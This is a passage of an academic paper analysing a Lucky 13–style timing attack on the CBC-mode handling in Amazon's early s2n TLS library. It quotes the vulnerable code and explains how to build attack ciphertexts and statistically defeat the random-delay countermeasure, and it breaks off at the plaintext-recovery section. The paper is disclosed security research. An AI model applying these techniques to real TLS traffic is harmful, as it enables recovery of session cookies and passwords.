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Abstract. s2n is an implementation of the TLS protocol that was released in late June 2015
by Amazon. It is implemented in around 6,000 lines of C99 code. By comparison, OpenSSL
needs around 70,000 lines of code to implement the protocol. At the time of its release, Amazon
announced that s2n had undergone three external security evaluations and penetration tests.
We show that, despite this, s2n — as initially released — was vulnerable to a timing attack in
the case of CBC-mode ciphersuites, which could be extended to complete plaintext recovery in
some settings. Our attack has two components. The first part is a novel variant of the Lucky
13 attack that works even though protections against Lucky 13 were implemented in s2n. The
second part deals with the randomised delays that were put in place in s2n as an additional
countermeasure to Lucky 13. Our work highlights the challenges of protecting implementations
against sophisticated timing attacks. It also illustrates that standard code audits are insufficient
to uncover all cryptographic attack vectors.
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1 Introduction
In late June 2015, Amazon announced a new implementation of TLS (and SSLv3), called
s2n [Lab15,Sch15]. A particular feature of s2n is its small code-base: while s2n relies on
OpenSSL or any of its forks for low-level cryptographic processing the core of the TLS protocol
implementation is written in around 6,000 lines of C99. This is intended to make s2n easier
to audit. Indeed, Amazon also announced that s2n had undergone three external security
evaluations and penetration tests prior to release. No details of these audits appear to be in
the public domain at the time of writing. Given the recent travails of SSL/TLS in general and
the OpenSSL implementation in particular, s2n generated significant interest in the security
community and technical press.1
We show that s2n — as initially released — was vulnerable to a timing attack on its
implementation of CBC-mode ciphersuites. Specifically, we show that the two levels of pro-
tection offered against the Lucky 13 attack [AP13] in s2n at the time of first release were
imperfect, and that a novel variant of the Lucky 13 attack could be mounted against s2n.
The attack is particularly powerful in the web setting, where an attack involving malicious
client-side Javascript (as per BEAST, POODLE [MDK14] and Lucky 13) results in the com-
plete recovery of HTTP session cookies, and user credentials such as BasicAuth passwords.
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In this setting, an adversary runs malicious JavaScript in a victim’s browser and addition-
ally performs a Person-in-the-Middle attack. We note, though, that many modern browsers
prefer TLS 1.2 AEAD cipher suites avoiding CBC-mode, making them immune to the attack
described in this work if the sever also supports TLS 1.2 cipher suites as s2n does. The issues
identified in this work have since been addressed in s2n, partly in response to this work, and
current versions are no longer vulnerable to the attacks described in this work.
We stress that the problem we identify in s2n does not arise from reusing OpenSSL’s crypto
code, but rather from s2n’s own attempt to protect itself against the Lucky 13 attack when
processing incoming TLS records. It does this in two steps: (1) using additional cryptographic
operations, to equalise the running time of the record processing; and (2) introducing random
waiting periods in case of an error such as a MAC failure.
Step (1) involves calls to a function s2n_hmac_update, which in turn makes hash com-
pression function calls to, for example, OpenSSL or LibreSSL. The designers of s2n chose
to draw a line above which to start their implementation, roughly aligned at the boundary
between low-level crypto functions and the protocol itself. The first part of our attack is
focused at the lowest level above that line. Specifically, we show that the desired additional
cryptographic operations may not be carried out as anticipated: while s2n always fed the
same number of bytes to s2n_hmac_update, to defeat timing attacks, this need not result
in the same number of compression function calls of the underlying hash function. Indeed
this latter number may vary depending on the padding length byte which controls after how
many bytes s2n_hmac_digest is called, this call producing a digest over all data submitted
so far. We can also arrange that subsequent calls to s2n_hmac_update do not trigger any
compression function calls at all. This has the effect of removing the timing equalisation and
reopening the window for an attack in the style of Lucky 13.
The second part of our attack is focussed on step (2), the random waiting periods in-
troduced in s2n as an additional protection against timing attacks. The authors of [AP13]
showed that adding random delays as a countermeasure to Lucky 13 would be ineffective if
the maximum delay was too small. The s2n code had a maximum waiting period that is enor-
mous relative to the processing time for a TLS record, 10s compared to around 1µs, putting
the attack techniques of [AP13] well out of contention. However, the initial release of s2n
used timing delays generated by calls to sleep and usleep, giving them a granularity much
greater than the timing differences arising from the failure to equalise the running time in
step (1). Consequently, at a high level, we were able to bypass step (2) by “mod-ing out” the
timing delays provided by sleep and usleep. However, the reality is slightly more complex
than this simple description would suggest, because those functions do not provide delays that
are exact multiples of 1µs but instead themselves have distributions that need to be taken
into account in our statistical analysis. Weaknesses in random delays as countermeasures to
timing side-channels have been point out before, cf. [CK10]. In contrast to previous work,
though, here the source of timing differences was not close enough to uniform, allowing our
analysis of the low-level code to “leak through” the random timing delays, despite them being
very large.
Our attack illustrates that protecting TLS’s CBC construction against attacks in the style
of Lucky 13 is hard (cf. [AIES15]). It also shows that standard code audits may be insufficient
to uncover all cryptographic attack vectors.
Our attack can be prevented by more carefully implementing countermeasures to the
Lucky 13 attack that were presented in [AP13]. A fully constant time/constant memory access
patch can be found in the OpenSSL implementation; its complexity is such that around 500
lines of new code were required to implement it, and it is arguable whether the code would
be understandable by all but a few crypto-expert developers. It is worth noting that the
countermeasure against Lucky 13 in OpenSSL does not respect the separation adopted in
the s2n design, i.e. it avoids higher-level interfaces to HMAC but makes hash compression
function calls directly on manually constructed blocks.2 The s2n code was patched to prevent
our attacks using a different strategy, (mostly) maintaining the above-mentioned separation.
At a high-level, the first step of our attacks exploits that s2n counted bytes submitted to
HMAC instead of compression function calls. In response, s2n now counts the number of
compression function calls. Furthermore, the second s2n countermeasure was strengthened
by switching from using usleep to using nanosleep.
1.1 Disclosure and Remediation
We notified Amazon of the issue in step (1) of their countermeasures, in s2n_verify_cbc
in s2n on 5th July 2015. Subsequently and in response, this function was revised to address
the issue reported. This issue in itself does not constitute a successful attack because s2n
also implemented step (2), the randomised waiting period, as was pointed out to us by the
developers of s2n. This countermeasure has since been strengthened by switching to the use
of nanosleep to implement randomised wait periods. This transition was already planned
by the developers of s2n prior to learning about our work, but the change was accelerated
in response to it. Our work shows that the switch to using nanosleep was a good decision
because this step prevents the attacks described in this work.3
1.2 Lucky 13 Remedies in other Libraries
As mentioned above OpenSSL prevents the Lucky 13 attack in 500 lines of code which achieves
fully constant time/memory access [Lan13]. GnuTLS does not completely eliminate all poten-
tial sources of timing differences, but makes sure the number of compression function calls is
constant and other major sources of timing differences are eliminated. As reported in [Mav13]
this results in timing differences in the tens of nanonseconds, likely too small to be exploited
in practice. In contrast, GoTLS as of now does not implement any countermeasure to Lucky
13. However, a patch is currently under review to equalise the number of compression function
calls regardless of padding value [VF15]. This fix does not promise constant time/memory
access. Botan does not implement any countermeasure to Lucky 13.4 WolfSSL implements
the recommended countermeasures to Lucky 13 from [AP13].5
2 The TLS Record Protocol and s2n
The main component of TLS of interest here is the Record Protocol, which uses symmetric
key cryptography (block ciphers, stream ciphers and MAC algorithms) in combination with
sequence numbers to build a secure channel for transporting application-layer data. In SSL and
2 See [Lan13] for a detailed description of the patch.
3 We also note that the first fix was still vulnerable to a timing attack in step (1), as reported in [ABBD15].
This further highlights the delicacy of protecting against timing side-channel attacks and that the move
towards using nanosleep was a good decision.
4 https://github.com/randombit/botan/blob/master/src/lib/tls/tls_record.cpp#L398
5 http://www.yassl.com/forums/topic328-wolfssl-releases-protocol-fix-for-lucky-thirteen-
attack.html
versions of TLS prior to TLS 1.2, the only encryption option uses a MAC-Encode-Encrypt
(MEE) construction. Here, the plaintext data to be transported is first passed through a
MAC algorithm (along with a group of 13 header bytes) to create a MAC tag. The supported
MAC algorithms are all HMAC-based, with MD5, SHA-1 and SHA-256 being typical hash
algorithms. Then an encoding step takes place. For the RC4 stream cipher, this just involves
concatenation of the plaintext and the MAC tag, while for CBC-mode encryption (the other
possible option), the plaintext, MAC tag, and some encryption padding of a specified format
are concatenated. In the encryption step, the encoded plaintext is encrypted with the selected
cipher. In the case where CBC-mode is selected, the block cipher is DES, 3DES or AES
(with DES being deprecated in TLS 1.2). The s2n implementation supports 3DES and AES.
Following [PRS11], we refer to this MEE construction as MEE-TLS-CBC.
The MEE construction used in the TLS has been the source of many security issues and
attacks [Vau02,CHVV03,Moe04,PRS11,AP12,AP13]. These all stem from how the padding
that is required in MEE-TLS-CBC is handled during decryption, specifically the fact that the
padding is added after the MAC has been computed and so forms unauthenticated data in the
encoded plaintext. This long sequence of attacks shows that handling padding arising during
decryption processing is a delicate and complex issue for MEE-TLS-CBC. It, along with the
attacks on RC4 in TLS [ABP+13], has been an important spur in the TLS community’s
push to using TLS 1.2 and its Authenticated Encryption modes. AES-GCM is now widely
supported in implementations. However, the MEE construction is still in widespread use, as
highlighted by the fact that Amazon chose to support it in its minimal TLS implementation
s2n.
2.1 MEE-TLS-CBC
We now explain the core encryption process for MEE-TLS-CBC in more detail.
Data to be protected by TLS is received from the application and may be fragmented and
compressed before further processing. An individual record R (viewed as a byte sequence of
length at least zero) is then processed as follows. The sender maintains an 8-byte sequence
number SQN which is incremented for each record sent, and forms a 5-byte field HDR consisting
of a 2-byte version field, a 1-byte type field, and a 2-byte length field. The sender then
calculates a MAC over the bytes SQN||HDR||R; let T denote the resulting MAC tag. Note that
exactly 13 bytes of data are prepended to the record R here before the MAC is computed.
The size of the MAC tag is 16 bytes (HMAC-MD5), 20 bytes (HMAC-SHA-1), or 32 bytes
(HMAC-SHA-256). We let t denote this size in bytes.
The record is then encoded to create the plaintext P by setting P = R||T ||pad. Here pad
is a sequence of padding bytes chosen such that the length of P in bytes is a multiple of b,
where b is the block-size of the selected block cipher (so b = 8 for 3DES and b = 16 for AES).
In all versions of TLS, the padding must consist of p+ 1 copies of some byte value p, where
0 ≤ p ≤ 255. In particular, at least one byte of padding must always be added. The padding
may extend over multiple blocks, and receivers must support the removal of such extended
padding. In SSL the padding format is not so strictly specified: it is only required that the
last byte of padding must indicate the total number of additional padding bytes. The attack
on s2n that we present works irrespective of whether the padding format follows the SSL or
the TLS specification.
In the encryption step, the encoded record P is encrypted using CBC-mode of the selected
block cipher. TLS 1.1 and 1.2 mandate an explicit IV, which should be randomly generated.
TLS 1.0 and SSL use a chained IV; our attack works for either option. Thus, the ciphertext
blocks are computed as:
Cj = EKe(Pj ⊕ Cj−1)
where Pi are the blocks of P , C0 is the IV, and Ke is the key for the block cipher E. For TLS
(and SSL), the ciphertext data transmitted over the wire then has the form:
HDR||C
where C is the concatenation of the blocks Ci (including or excluding the IV depending on
the particular SSL or TLS version). Note that the sequence number is not transmitted as part
of the message.
Simplistically, the decryption process reverses this sequence of steps: first the ciphertext
is decrypted block by block to recover the plaintext blocks:
Pj = DKe(Cj)⊕ Cj−1,
where D denotes the decryption algorithm of the block cipher. Then the padding is removed,
and finally, the MAC is checked, with the check including the header information and a version
of the sequence number that is maintained at the receiver.
However, in order to avoid a variety of known attacks, these operations must be performed
without leaking any information about what the composition of the plaintext blocks is in
terms of message, MAC field and padding, and indeed whether the format is even valid. The
difficulties and dangers inherent in this are explained at length in [AP13].
For TLS, any error arising during decryption should be treated as fatal, meaning an
encrypted error message is sent to the sender and the session terminated with all keys and
other cryptographic material being disposed of.
2.2 Details of HMAC
As mentioned above, TLS exclusively uses the HMAC algorithm [KBC97], with HMAC-MD5,
HMAC-SHA-1, and HMAC-SHA-256 being supported in TLS 1.2.6 To compute the MAC tag
T for a message M with key Ka, HMAC applies the specified hash algorithm H twice, in an
iterated fashion:
T = H((Ka ⊕ opad)||H((Ka ⊕ ipad)||M)).
Here opad and ipad are specific 64-byte values, and the key Ka is zero-padded to bring it
up to 64 bytes before the XOR operations are performed. All the hash functions H used in
TLS have an iterated structure, processing messages in chunks of 64 bytes (512 bits) using
a compression function, with the output of each compression step being chained into the
next step. Also, for all relevant hash functions used in TLS, an 8-byte length field followed
by padding of a specified byte format are appended to the message M to be hashed. The
padding is at least 1 byte in length and extends the data to a (56 mod 64)-byte boundary.
In combination, these features mean that HMAC implementations for MD5, SHA-1 and
SHA-256 have a distinctive timing profile. Messages M of length up to 55 bytes can be
encoded into a single 64-byte block, meaning that the first, inner hash operation in HMAC
6 TLS ciphersuites using HMAC with SHA-384 are specified in RFC 5289 (ECC cipher suites for
SHA256/SHA384) and RFC 5487 (Pre-Shared Keys SHA384/AES) but we do not consider the SHA-384
algorithm further here.
is done in 2 compression function evaluations, with 2 more being required for the outer hash
operation, for a total of 4 compression function evaluations. Messages M containing from 56
up to 64 + 55 = 119 bytes can be encoded in two 64-byte blocks, meaning that the inner
hash is done in 3 compression function evaluations, with 2 more being required for the outer
operation, for a total of 5. In general, an extra compression function evaluation is needed
for each additional 64 bytes of message data. A single compression function evaluation takes
typically a few hundred clock cycles.7
Implementations typically implement HMAC via an “IUF” interface, meaning that the
computation is first initialised (I), then the computation is updated (U) as many times
as are needed with each update involving the buffering and/or hashing of further message
bytes. When the complete message has been processed, a finalisation (F) step is performed.
In s2n, OpenSSL or any of its forks is used to implement HMAC. The initialisation step
s2n_hmac_init carries out a compression function call on the 64-byte string Ka⊕ ipad. The
update step s2n_hmac_update involves buffering of message bytes and calls to the compression
function on buffered 64-byte chunks of message. Note that no compression function call will
be made until at least 64 bytes have been buffered. The finalisation step s2n_hmac_digest
consists of adding the length encoding and padding, performing final compression function
calls to compute the inner hash and then performing the outer hash operation (itself involving
2 compression function evaluations).
2.3 HMAC Computations after Decryption in s2n
The s2n implementation uses the code in Figure 1 to check the MAC on a record in the
function s2n_verify_cbc. This code is followed by a constant-time padding check that need
not concern us here (except to note that the fact that it is constant time helps our attack, since
it enables us to isolate timing differences coming from this code fragment). In Figure 1, the
content of buffer decrypted->data is the plaintext after CBC-mode decryption. The header
SQN||HDR of 13 bytes is dealt with by the calling function.
Notice how the code first computes, using the last byte of the plaintext, a value for
padding_length, the presumed length of padding that should be removed (excluding the pad
length byte). Arithmetic is then performed to find payload_length, the presumed length
of the remaining payload over which the HMAC computation is to be done. The actual
HMAC computation is performed via an initialise call (not shown), and then the code in
line 78 (update via the function s2n_hmac_update) and line 84 (finalise via the function
s2n_hmac_digest). Line 86 compares the computed HMAC value with that contained in the
plaintext, and sets a flag mismatches if they do not match as expected.
Line 79 copies the HMAC state to a dummy state, so that line 89 can perform a dummy
s2n_hmac_update computation on data from the plaintext buffer. This attempts to ensure
that the number of hash computations carried out is the same, irrespective of the amount of
padding that should be removed. This is in an effort to remove the timing channel exploited
in the Lucky 13 attack. The number of bytes over which the update is performed is equal
to decrypted->size - payload_length - mac_digest_size - 1, which is one less than the
number of bytes in the plaintext buffer excluding the 13 bytes of SQN||HDR, the message, and
the MAC value. Recall, however, that this update operation may not actually result in any
compression function computations being carried out. What happens depends on exactly how
7 For example, SHA-256 takes about 550 cycles per block on one of our test systems, an Intel Core i7–4850HQ
CPU @ 2.30GHz, whereas SHA-1 takes about 300 cycles.
many bytes are already sitting unprocessed in the internal buffer and how many are added to
it in the call.
67 int payload_and_padding_size = decrypted ->size - mac_digest_size;
68
69 /* Determine what the padding length is */
70 uint8_t padding_length = decrypted ->data[decrypted ->size - 1];
71
72 int payload_length = payload_and_padding_size - padding_length \
- 1;
73 if (payload_length < 0) {
74 payload_length = 0;
75 }
76
77 /* Update the MAC */
78 GUARD(s2n_hmac_update(hmac , decrypted ->data , payload_length ));
79 GUARD(s2n_hmac_copy (&copy , hmac ));
80
81 /* Check the MAC */
82 uint8_t check_digest[S2N_MAX_DIGEST_LEN ];
83 lte_check(mac_digest_size , sizeof(check_digest ));
84 GUARD(s2n_hmac_digest(hmac , check_digest , mac_digest_size ));
85
86 int mismatches = s2n_constant_time_equals(decrypted ->data +
payload_length ,
check_digest ,
mac_digest_size) ^ 1;
87
88 /* Compute a MAC on the rest of the data so that we perform
the same number of hash operations */
89 GUARD(s2n_hmac_update (&copy , decrypted ->data + payload_length +
mac_digest_size ,
decrypted ->size - payload_length -
mac_digest_size - 1));
Fig. 1. Excerpt from s2n verify cbc, s2n’s code for checking the MAC on a TLS record
2.4 Randomised Waiting Period
In order to additionally protect against attacks exploiting timing side-channels, s2n imple-
ments the following countermeasure: whenever an error occurs, the implementation waits for
a random period of time before sending an error message. We reproduce the relevant code
excerpts in Figure 2; at a high level, when a MAC failure occurs, the following steps are taken:
– All available data is erased. Depending on the amount of buffered data, the time this takes
may vary.
– All connection data is wiped, which may also introduce a timing difference.
– A random integer x between 1,000 and 10,001,000 is requested. Since rejection sampling
is used to generate x, this might also introduce some timing variation.
– This random integer is then fed to usleep and sleep calls (after the appropriate scaling),
causing a random delay of at least x µs.
We note that this countermeasure, which is activated by default, is designed as an API
mode which can in principle be disabled. This is to support implementations which pro-
vide their own timing channel countermeasures. If the variable blinding is not equal to
s2n_record_read.c
91 int s2n_record_parse(struct s2n_connection *conn)
...
238 /* Padding */
239 if (cipher_suite ->cipher ->type == S2N_CBC) {
240 if (s2n_verify_cbc(conn , mac , &en) < 0) {
241 GUARD(s2n_stuffer_wipe (&conn ->in));
242 S2N_ERROR(S2N_ERR_BAD_MESSAGE );
243 return -1;
244 }
s2n_recv.c
36 int s2n_read_full_record(struct s2n_connection *conn , \
uint8_t *record_type , int *isSSLv2)
97 /* Decrypt and parse the record */
98 if (s2n_record_parse(conn) < 0) {
99 GUARD(s2n_connection_wipe(conn ));
100 if (conn ->blinding == S2N_BUILT_IN_BLINDING) {
101 int delay;
102 GUARD(delay = s2n_connection_get_delay(conn ));
103 GUARD(sleep(delay / 1000000));
104 GUARD(usleep(delay % 1000000));
105 }
106 return -1;
107 }
Fig. 2. Excerpts from s2n_record_read.c and s2n_recv.c, s2n’s code for adding a random waiting period
S2N_BUILT_IN_BLINDING then none of the countermeasure code is run.8 Since this counter-
measure introduces a delay of up to 10s in case of an error, it might be tempting for some
application developers to disable it. However, note that the s2n documentation strongly ad-
vises against disabling this counter measure without replacing it by an equivalent one on the
application level.
3 The Attack without the Random Waiting Period Countermeasure
We first describe our variant of the Lucky 13 attack against s2n assuming the random waiting
period countermeasure is not present. We show how to deal with this additional countermea-
sure in Section 4.
For simplicity of presentation, in what follows, we assume the CBC-mode IVs are explicit
(as in TLS 1.1 and 1.2). We also assume that b = 16 (so our block cipher is AES). It is easy
to construct variants of our attacks for implicit IVs and for b = 8. The MAC algorithm is
HMAC-H where H is either MD5, SHA-1 or SHA-256. We focus at first on the case where
the MAC algorithm is HMAC-SHA-256, so that t = 32. We explain below how the attack can
be adapted to t = 16 and t = 20 (HMAC-MD5 and HMAC-SHA-1, respectively).
Let C∗ be any ciphertext block whose corresponding plaintext P ∗ the attacker wishes to
recover. Let C ′ denote the ciphertext block preceding C∗. Note that C ′ may be the IV or the
last block of the preceding ciphertext if C∗ is the first block of a ciphertext. We have:
P ∗ = DKe(C
∗)⊕ C ′.
8 However, we note that a bug in the version of s2n that we studied prevented this from ever happening,
because the call to wipe the connection data erased this configuration flag as well.
Let ∆ be an arbitrary block of 16 bytes and consider the decryption of a ciphertext
Catt(∆) of the form
Catt(∆) = HDR||C0||C1||C2||C3||C ′ ⊕∆||C∗
consisting of a header field HDR containing an appropriate value in the length field, an IV
block, and 5 non-IV blocks. The IV block and the first 3 non-IV blocks are arbitrary, the
penultimate block C4 = C
′⊕∆ is an XOR-masked version of C ′ and the last block is C5 = C∗.
The corresponding 80-byte plaintext is P = P1||P2||P3||P4||P5 in which
P5 = DKe(C
∗)⊕ (C ′ ⊕∆)
= P ∗ ⊕∆.
Notice that P5 is closely related to the unknown, target plaintext block P
∗. Notice also
that, via line 67 of the code in Figure 1, the variable payload_and_padding_size is set to
80−32 = 48 (recall that the 13-byte string SQN||HDR was fed to HMAC by the calling function
and is buffered but otherwise unprocessed at this point). We now consider 2 distinct cases:
1. Suppose P5 ends with a byte value from the set {0x00, . . . , 0x04}. In this case, the code sets
padding_length to be at most 4 and then, at line 72, payload_length is set to a value that
is at least 48−4−1 = 43 (and at most 47). This means that when the HMAC computation
is performed in lines 78 (update) and 84 (finalise), the internal buffer contains at least 56
bytes (because 13 bytes were already buffered by the calling function) and exactly 5 calls to
the compression function will be made, including one call that initialises HMAC and 2 that
finalises it. The time equalising code at line 89 adds between 0 and 4 bytes to the internal
buffer, which still holds the previous message bytes. However, because of the short length
of our chosen ciphertext, the buffer ends up being exactly 60 bytes in size. This number
is obtained by considering the 13 bytes of SQN||HDR, the payload_length bytes added to
the buffer at line 78 and the decrypted->size - payload_length - mac_digest_size -
1 bytes added to the buffer at line 89. Combining these, one arrives at there being 12 +
decrypted->size - mac_digest_size bytes in the buffer. This evaluates to 60 for the
particular values in the attack. Notably, this number is independent of payload_length
and padding_length. The call at line 89 is to the update function rather than the finalise
function, so at least 64 bytes would be needed in the buffer to cause any compression
function computations to be performed at this point. Thus no compression function call
is made as a consequence of the call to s2n_hmac_update at line 89.
2. Suppose P5 ends with a byte value from the set {0x05, . . . , 0xff}. In this case, the code sets
padding_length to be at least 5 and then, at line 72, payload_length is set to a value that
is at most 48−5−1 = 42 (and at least 0). This means that when the HMAC computation
is performed in lines 78 (update) and 84 (finalise), the internal buffer contains at most 55
bytes and exactly 4 calls to the compression function will be made (again, including the
initialisation and finalisation calls). The time equalising code at line 89 will again result
in no additional calls to the compression function being made, as the internal buffer is
again too small at exactly 60 bytes in size (recall that the buffer size is independent of
payload_length and padding_length).
Based on this case analysis, a timing difference will arise in HMAC processing of the
attack ciphertext Catt(∆), according to whether the last byte of P5 = P
∗⊕∆ is from the set
{0x00, . . . , 0x04} or not. The difference is equal to that taken by one compression function call.
This timing difference becomes evident on the network in the form of a difference in the arrival
time of an error message at the man-in-the-middle attacker who injects the attack ciphertext.
The difference is of the same size as that observed in the plaintext recovery attack presented
in [AP13], a few hundred clock cycles on a modern processor. Of course, as in [AP13], this
time difference would be affected by noise arising from network jitter, but it is sufficiently big
to enable it to be detected. Furthermore, if the attacker can arrange to be co-resident with
the victim in a cloud environment, a realistic prospect as shown by a line of work culminating
in [VZRS15], the attacker can perform a Person-in-the-Middle attack and observe the usage
of resources on the server by being co-resident.
As was the case in [AP13], the attack can be iterated as often as is desired and with
different values of ∆, provided the same plaintext is repeated at a predictable location across
multiple sessions. The attack as presented already takes care of the complication that each
trial will involve a different key in a different TLS session; only P ∗ needs to be constant for
it to work.
By carefully exploring the timing behaviour for different values in the last byte of ∆ (each
value being tried sufficiently often so as to minimise the effect of noise), the attacker can
deduce the value of the last byte of P ∗. For example, the attacker can try every value in the
6 most significant bits in the last byte of ∆ to identify a value ∆∗ for which the time taken
is relatively high. This indicates that the last byte of P ∗ ⊕∆∗ is in the set {0x00, . . . , 0x04};
a more refined analysis can then be carried out on the 3 least significant bits of the last byte
of ∆∗ to identify the exact value of the last byte of P ∗. The worst case cost of this version of
the attack is 64 + 8 = 72 trials (multiplied by a factor corresponding to the number of trials
per ∆ needed to remove noise).
The attack cost can be reduced further by using initially longer ciphertexts, because the
peculiar characteristics of the s2n code mean that this choice results in there being a greater
number of values for (the last byte of) ∆ that result in a higher processing time; the precise
value of the last byte of P ∗ can then be pinned down by using progressively shorter ciphertexts.
We omit the details of this enhancement.
3.1 Extending to Full Plaintext Recovery
In the web setting, with HTTP session cookies as the target, the attack extends in a straight-
forward manner to full plaintext recovery using by-now-standard techniques involving mali-
cious client-side Javascript and careful HTTP message padding. A good explanation of how
this is achieved can be found in [MDK14] describing the POODLE attack on TLS. BasicAuth
passwords also form a good target; see [GPdM15] for details.
3.2 Variants for HMAC-MD5 and HMAC-SHA-1
Assume b = 16 (as in AES) and consider the case of HMAC-MD5. Then, because t = 16 in
this case, and t is still a multiple of b, the attack described above works perfectly, except that
we need to use a ciphertext having 4 non-IV blocks instead of 5. The attack also works for
b = 8 for both HMAC-MD5 and HMAC-SHA-256 by doubling the number of non-IV blocks
used.
For HMAC-SHA-1, we have t = 20. Assume b = 16 (AES). Then a similar case analysis
as above shows that using a ciphertext with 4 blocks result in a slow execution time if and
only if the last plaintext block P4 ends with 0x00. This leads to a plaintext recovery attack
requiring, in the worst case, 256 trials per byte. The attack adapts to the b = 8 case by again
doubling the number of non-IV blocks used.
4 Defeating the Random Wait Period Countermeasure
As described in Section 2.4, s2n implemented a second countermeasure against attacks ex-
ploiting timing channels. In this section, we show how it could be defeated.
4.1 Characterising the Timing Delays
To start off, we notice that at the price of increasing the number of samples by a factor of
roughly ten, we can assume that sleep at line 103 in the code in Figure 2 is called with
parameter zero, by rejecting in an attack any sample where the overall time is more than 1s.
This removes one potential source of randomness. As shown in Figure 3, calling sleep(0)
has a rather stable timing profile.
0 50 100 150 200 250 300 350 400 450 500
0
2 · 10−2
4 · 10−2
6 · 10−2
8 · 10−2
0.1
clock cycles
Fig. 3. Distribution of clock ticks for calling sleep(0) on Intel(R) Xeon(R) CPU E5-2667 v2 @ 3.30GHz.
Next, we consider calls to usleep with a random delay as a source of timing randomness.
For this, note that usleep has a granularity of 1µs. On our main test machine, which is
clocked at 3.3Ghz, this translates to 3,300 clock cycles.9 From this, we might expect that
if we take our timings modulo the clock ticks per µs (namely, 3,300 on our test machine),
we could filter out all the additional noise contributed by the usleep(delay) call. However,
usleep(delay) does not guarantee to return after exactly delay µs, or even to return after
an exact number of µs. Instead, it merely guarantees that it will return after at least delay
µs have elapsed. Indeed, on a typical UNIX system, waking up a process from sleep can take
an unpredictable amount of time depending on global the state of the OS.
However, despite this, usleep does show exploitable non-uniform behaviour on the systems
we tested. Figures 4 and 5 illustrate this behaviour. Figure 4 shows raw timings (in clock
cycles) for usleep(d), normalised to remove the minimum possible delay, namely 3, 300 · d
clock cycles. Figure 5 shows the distribution of timings (in clock cycles) for usleep(delay)
with delay uniformly random in an interval [0, d), but now taken modulo 3,300. Both figures
9 We note, however, that modern CPUs reclock their CPUs dynamically both below the base operating
frequency and above it (e.g. Intel Turbo Boost). This must be taken into account when measuring time
delays in elapsed clock cycles.
are generated from data captured on our main test machine. They exhibit the non-uniformity
needed to bypass the random waiting period countermeasure in s2n.
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Fig. 4. Distribution of usleep(d)−3, 300 ·d (in clock cycles) on Intel(R) Xeon(R) CPU E5-2667 v2 @ 3.30GHz.
Probability on the y axis.
Figures 6 and 7 show that, like the call to usleep, the calls to the functions s2n_stuffer_wipe
and s2n_public_random also do not produce timing profiles which are uniform modulo 1µs
(3,300 clock cycles).
However, it is not enough to simply characterise the timing profile of the calls to usleep;
rather it is necessary to study the distribution of the running time of the entire random timing
delay code in Figure 2, in combination with the code for checking the MAC on a TLS record in
Figure 1, for different values of the mask ∆ in the attack in Section 3. Figure 8 brings different
sources of timing difference together and shows that the timing distributions (modulo 3,300)
that are obtained for different mask values are indeed still rather easily distinguishable. The
figure is for samples with the maximum delay restricted to 100,000µs instead of 10s. We
stress that this is a synthetic benchmark for studying the behaviour of the various sources
of timing randomness and does not necessarily represent actual behaviour. See Section 5 for
experiments with the actual s2n implementation of these countermeasures.
4.2 Distinguishing Attack
Having characterised the timing behaviour of the s2n code, as exemplified in Figure 8, we
are now in a position to describe a statistical attack recovering plaintext bytes and its perfor-
mance. In fact, the approach is completely standard: given the preceding analysis, we expect
the timing distributions modulo 1µs for ciphertexts in the attack of Section 3 to fall into two
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Fig. 5. Distribution of clock ticks modulo 3,300 for usleep(delay) with delay uniformly random in [0, d), on
Intel(R) Xeon(R) CPU E5-2667 v2 @ 3.30GHz.
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Fig. 6. Distribution of clock ticks for calling s2n_stuffer_wipe on Intel(R) Xeon(R) CPU E5-2667 v2 @
3.30GHz.
classes depending on the value of the last byte of P ∗⊕∆, one class H = {0x00, . . . , 0x04}, the
other class L = {0x05, . . . , 0xff}; if the observed distributions for all values in L (resp. H) are
close to each other but the Kullback-Leibler (KL) divergence between distributions from L
and H is large (and equal to D, say), then, applying standard statistical machinery, we know
that we will require about 1/D samples to distinguish samples from the two distributions. As
Tables 1 and 2 demonstrate, the requirements on KL divergence for values in L and H are
indeed satisfied, even for relatively large values for the maximum delay.
For example, assuming for the sake of argument that no additional noise is introduced by
network jitter or other sources, we would be able to distinguish the value 0x00 from 0xc8 in
the last byte of P ∗⊕∆ with 1/(3.6/1, 000) ≈ 280 TLS sessions if the maximum delay were re-
stricted to 100,000µs. Using rejection sampling, i.e. discarding all samples with a delay greater
than 100,000µs from the actual distribution produced by s2n (where the maximum delay is
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Fig. 7. Distribution of clock ticks modulo 3300 for calling s2n_public_random on Intel(R) Xeon(R) CPU
E5-2667 v2 @ 3.30GHz.
0x00 0x04 0x05 0x10 0x20 0x30 0x40 0x64 0xc8
0x00 .0 .7 14.1 15.1 17.7 13.2 18.4 17.4 17.6
0x04 .7 .0 15.4 16.8 19.5 15.3 20.0 18.9 19.3
0x05 14.0 15.3 .0 .1 .2 .3 .3 .2 .2
0x10 15.0 16.6 .1 .0 .1 .2 .2 .1 .1
0x20 17.4 19.2 .2 .1 .0 .5 .0 .0 .0
0x30 13.0 15.1 .3 .2 .5 .0 .7 .5 .5
0x40 18.2 19.7 .3 .2 .0 .7 .0 .0 .0
0x64 17.2 18.7 .2 .1 .0 .5 .0 .0 .0
0xc8 17.4 19.0 .2 .1 .0 .5 .0 .0 .0
Table 1. KL divergence multiplied by 1,000 of time distributions in clock cycles modulo 3,300 with the
maximum delay limited to 1,000µs on Intel(R) Xeon(R) CPU E5-2667 v2 @ 3.30GHz.
0x00 0x04 0x05 0x10 0x20 0x30 0x40 0x64 0xc8
0x00 .0 .0 2.4 1.9 2.3 2.0 2.8 2.1 3.6
0x04 .0 .0 2.3 1.8 2.1 2.0 2.6 1.9 3.3
0x05 2.4 2.3 .0 .0 .0 .1 .0 .0 .2
0x10 1.9 1.8 .0 .0 .1 .1 .1 .0 .3
0x20 2.3 2.1 .0 .1 .0 .2 .0 .0 .1
0x30 2.0 2.0 .1 .1 .2 .0 .3 .2 .5
0x40 2.8 2.7 .0 .1 .0 .3 .0 .1 .0
0x64 2.1 1.9 .0 .0 .0 .2 .1 .0 .2
0xc8 3.6 3.4 .2 .3 .1 .5 .0 .2 .0
Table 2. KL divergence (scaled by 1,000 for readability) of time distributions in clock cycles modulo 3,300
with the maximum delay limited to 100,000µs on Intel(R) Xeon(R) CPU E5-2667 v2 @ 3.30GHz.
10s), this increases to roughly 28, 000 TLS sessions for a successful distinguishing attack. We
stress that this estimate is optimistic because it is derived from a synthetic benchmark not the
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Fig. 8. Distribution of clock ticks modulo 3,300 for timing signals on Intel(R) Xeon(R) CPU E5-2667 v2 @
3.30GHz with the maximum delay restricted to d = 100, 000.
actual implementation and because the surrounding code and network jitter will introduce
additional noise.
4.3 Plaintext Recovery Attack
We can extend this distinguishing attack to a plaintext recovery attack in the following
